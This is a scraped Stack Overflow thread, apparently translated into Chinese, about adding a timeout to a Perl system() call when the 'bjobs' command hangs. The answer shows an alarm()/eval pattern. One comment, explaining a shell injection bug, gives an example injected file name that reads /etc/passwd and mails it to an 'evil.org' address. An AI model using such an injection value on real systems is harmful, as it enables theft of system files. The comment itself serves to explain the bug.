【问题标题】:How to get around SYSTEM (fork-wait) in perl?如何在 perl 中绕过 SYSTEM(fork-wait)?
【发布时间】:2018-03-15 05:40:24
【问题描述】:

我在 perl 中使用 SYSTEM 命令来启动 Linux 系统命令,但遇到了问题。从描述 SYSTEM 命令的 perldocs 看来,SYSTEM 围绕系统命令调用执行了 Fork-Wait。不幸的是,如果系统命令挂断,Perl 程序也会挂断。下面是系统命令的示例:

system("bjobs -w -r |grep -v GLS | grep -v JOBID   > $bjoblistfile");

但是,“bjobs”命令每隔一段时间就会挂起,因此该系统命令不会返回。

有没有办法使用 SYSTEM 命令来“fork-wait”和超时选项?

提前致谢!

标记

【问题讨论】:

  • 使用IPC::Run
  • 注意:您的命令存在 shell 注入错误。根据变量名称,您不会将注入的字符串转换为 shell 文字。 IPC::Run 也会帮助你。
  • 感谢池上。我想知道是否有更好的方法来编写系统命令。您有指向“shell injection bug”参考的链接吗?我想了解它。我也在阅读 MetaCPAN 上的 IPC::Run 页面。
  • Code injection。例如,想象一下如果$bjoblistfile 中有一个空格会发生什么。
  • 关于shell注入,如果$bjoblistfilex; cat /etc/passwd | mailx supervillain@evil.org呢? (当然只是一个例子)

标签: perl


【解决方案1】:

使用警报()。这是一个粗略的大纲:

my $alarm_msg = "ALARM\n";
my $status;
eval {
    local $SIG{ALRM} = sub { die($alarm_msg) };
    alarm(300);    # set alarm for 5 minutes
    $status = system("shell injection safe command");
    alarm(0); # turn off alarm
};
if ($@ eq $alarm_msg) {
     # the alarm went off
} elsif ($@) {
     # there's a bug in my code above causing eval to fail
}
# perhaps do something with exist status, $status

如果你真的想使用 grep 命令(而不是 perl 的内置 grep()),请考虑只使用一个命令:

egrep -v 'GLS|JOBID'

【讨论】:

  • 谢谢pcjr!这很好用,不需要任何包。
猜你喜欢
  • 2011-11-04
  • 2015-01-24
  • 2014-04-21
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2013-10-06
  • 1970-01-01
  • 1970-01-01
相关资源
最近更新 更多